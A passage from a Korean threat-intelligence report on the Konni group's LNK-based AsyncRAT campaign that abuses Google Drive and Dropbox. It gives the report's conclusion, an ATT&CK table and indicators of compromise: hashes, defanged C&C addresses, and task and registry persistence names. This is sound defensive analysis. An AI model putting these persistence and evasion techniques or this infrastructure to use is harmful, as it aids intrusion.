본 보고서에서는 LNK 파일을 활용한 Konni 그룹의 최신 공격 사례를 분석했습니다. 공격자는 LNK 파일을 문서 파일처럼 위장하여 초기 감염을 유도하며, 이후 Google Drive와 Dropbox와 같은 클라우드 서비스를 악용해 추가 악성코드를 배포하는 전략을 사용했습니다. 또한 최종적으로 실행되는 AsyncRAT는 C&C 서버 정보를 실행 인자로 받아 동작하는 방식으로 변경됐습니다. 이는 기존처럼 C&C 서버 정보를 악성코드에 하드코딩하는 방식보다 유연성이 높고, 별도의 서버만 구축하면 누구나 악성코드를 활용할 수 있습니다. 이러한 방식은 공격자의 신원과 공격 인프라 간의 연결을 모호하게 만들어 추적을 어렵게 합니다.

이 외에 LNK 파일 메타데이터 특징을 이용하여 추가 악성코드를 확보할 수 있었고, AsyncRAT C&C 서버가 피싱 메일 공격에 활용된 이력도 확인됐습니다. LNK 파일 메타데이터는 공격자가 수정할 수 있지만, 추가로 확보된 악성코드에서 공통적으로 사용되는 C&C 서버와 Google Drive API 정보가 존재했고, TTPs 또한 동일한 방식으로 수행됐습니다. 이러한 근거를 통해 해당 공격이 동일한 공격 그룹의 소행으로 판단할 수 있습니다.

현재까지도 해당 공격은 지속적으로 발견되고 있으며, 공격자들은 제품 탐지를 우회하기 위해 다양한 기법을 시도하고 있습니다. 실제로 바이러스 토탈에는 다양한 방식으로 추가 페이로드를 실행하는 테스트 LNK 샘플들이 다수 확인되고 있습니다. 이는 공격자들이 탐지를 회피하고 보다 효과적인 감염 기법을 모색하기 위해 끊임없이 새로운 시도를 하고 있음을 보여줍니다. 본 보고서에서 분석한 공격 방식은 현재까지도 활용되고 있습니다. 엔키화이트햇 위협연구팀은 이러한 위협을 지속적으로 모니터링하고 추적하여 보다 안전한 사이버 공간을 만드는 데 기여할 것입니다.

6. 부록

6.1. MITRE ATT&CK

| Tactics | Techniques |
| --- | --- |
| Execution | T1059.001: Command and Scripting Interpreter: PowerShell-nT1059.003: Command and Scripting InterpreterWindows Command Shell-nT1059.007: Command and Scripting Interpreter: JavaScript-nT1204.002: User Execution: Malicious Link |
| Persistence | T1053.005: Scheduled Task/Job: Scheduled Task-nT1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder |
| Defense Evasion | T1027.010: Obfuscated Files or Information: Command Obfuscation-nT1027.013: Obfuscated Files or Information: Encrypted/Encoded File-nT1070:004: Indicator Removal: File Deletion-T1620: Reflective Code Loading |
| Command and Control | T1132:001: DataEncoding: Standard Encoding-T1102: Web Service|
| Exfiltration | T1567.002: Exfiltration Over Web Service: Exfiltration to Cloud Storage

caption - MITRE ATT&CK

6.2. IOC

헌팅 악성코드

  • 268640934dd1f0cfe3a3653221858851a33cbf49a71adfb4d54a04641df11547 - 20250211_03837.docx.lnk

  • 5967513540ad610ddbbc124f2437cf58dd10341da7d8d016932e74c3241dfa2a - d.ps1

  • 47abd1682a88f7aadd3fe57583a7edba9cae2d7cf6632df19fbe687544dac632 - gs.zip

  • 9af27198deefa87bb1d3868abb295f0136c18e74b5231772351c359ccd740323 - 83972.tmp

  • 694af547d321771e69c48cf3c04411fc1de1b5d4a465815c54fff44d3d8da790 - G3892.tmp

  • 68621690299e676b7562aca350a4ab87b898919c140b11bac7282d9c07d53838 - tmps4.ps1

  • 7a21d0e9793a4f115d395c6e99927d54840a75f9f5501d77eca52c2e35069006 - rt_10_dummy_0206.tmp(AsyncRAT)

추가 확보 악성코드

  • 9c9df2d90602c915005811aabf444653f55024080c61845029f75da758b27320

  • f3aee5924279dd1883efbb04c89166368e954b7e81483507dc032561bb2cf6e1

  • aaecb10ca453bec3bb95bedac6d773a593ea984509845eb7b15d8894d4b385ad

  • ba52ab256079f80fdf9c47bf5fc215fed99ed1659c976ca692f4493e08e4b301

  • dfeec1052063d6dc69cc6d23ca0cd262cd06899554f5ebd528d5d72935204bf2

  • 11ac6151182db3b41f9022b4e4b8a388e982f7fece3a34596bd84c11ec2a4ebd

  • 52b8e4da732d06000e29d7609668021be8cc99fccd9fb4a04f93f1c25d11bdd6

  • f4c4f68f8b27279b00b718b02392d5dfe1766c342a189a51e0e2a6f6412e1ce0

  • 11afe5cc28666c39d3dc3e9d51f780e55ce57e29424861b94002fb3370474f7e

  • e6e3a8fb352641bb5b6f6db1479490d942852d77d9ca30b2f0931f28e2691983

  • 811d221a1340e64aa1736d9d4e8f80820a5a02fab3d0c9e454f3ed35cd717b81

  • aacb5aca178f6444a82bca1febb282a2859c5a43208ad1cdd39977dc3521f0f6

C&C

  • 206.206.127[.]152:7628

  • 206.206.127[.]152:7032

  • 206.206.127[.]152:6606

  • 206.206.127[.]152:9027

  • 206.206.127[.]152:9002

  • 206.206.127[.]152:6105

  • 74.50.94[.]175:9992

  • 74.50.94[.]175:7628

  • 74.50.94[.]175:7032

Google Drive API Info

  • f4c4f68f8b27279b00b718b02392d5dfe1766c342a189a51e0e2a6f6412e1ce0


  • 11afe5cc28666c39d3dc3e9d51f780e55ce57e29424861b94002fb3370474f7e


  • e6e3a8fb352641bb5b6f6db1479490d942852d77d9ca30b2f0931f28e2691983


  • 268640934dd1f0cfe3a3653221858851a33cbf49a71adfb4d54a04641df11547


  • 811d221a1340e64aa1736d9d4e8f80820a5a02fab3d0c9e454f3ed35cd717b81


Dropbox API Info

  • 9c9df2d90602c915005811aabf444653f55024080c61845029f75da758b27320


  • aacb5aca178f6444a82bca1febb282a2859c5a43208ad1cdd39977dc3521f0f6


PDB Info

  • E:\_Backup\RAT_work\AsyncRat_0930\rat_Client\rat_pro\obj\Debug\Lv_0206.pdb

Task Info

  • AGMicrosoftEdgeUpdateExpanding[7923498737]

  • AMicrosoftEdgeUpdateExpanding[3829710973]

Registery Info

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run\GUpdate2

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run\SUpdate

엔키화이트햇

엔키화이트햇

ENKI Whitehat
ENKI Whitehat

오펜시브 시큐리티 전문 기업, 공격자 관점으로 깊이가 다른 보안을 제시합니다.

오펜시브 시큐리티 전문 기업, 공격자 관점으로 깊이가 다른 보안을 제시합니다.

침해사고 발생 전,
지금 대비하세요

빈틈없는 보안 설계의 시작, NO.1 화이트 해커의 노하우로부터

침해사고 발생 전,
지금 대비하세요

빈틈없는 보안 설계의 시작, NO.1 화이트 해커의 노하우로부터

침해사고 발생 전,
지금 대비하세요

빈틈없는 보안 설계의 시작,
NO.1 화이트 해커의 노하우로부터

공격자 관점의 깊이가 다른 보안을 제시합니다.

Contact

biz@enki.co.kr

02-402-1337

서울특별시 송파구 송파대로 167
(테라타워 B동 1214~1217호)

ENKI WhiteHat Co., Ltd.

Copyright © 2025. All rights reserved.

공격자 관점의 깊이가 다른 보안을 제시합니다.

ENKI WhiteHat Co., Ltd.

Copyright © 2025. All rights reserved.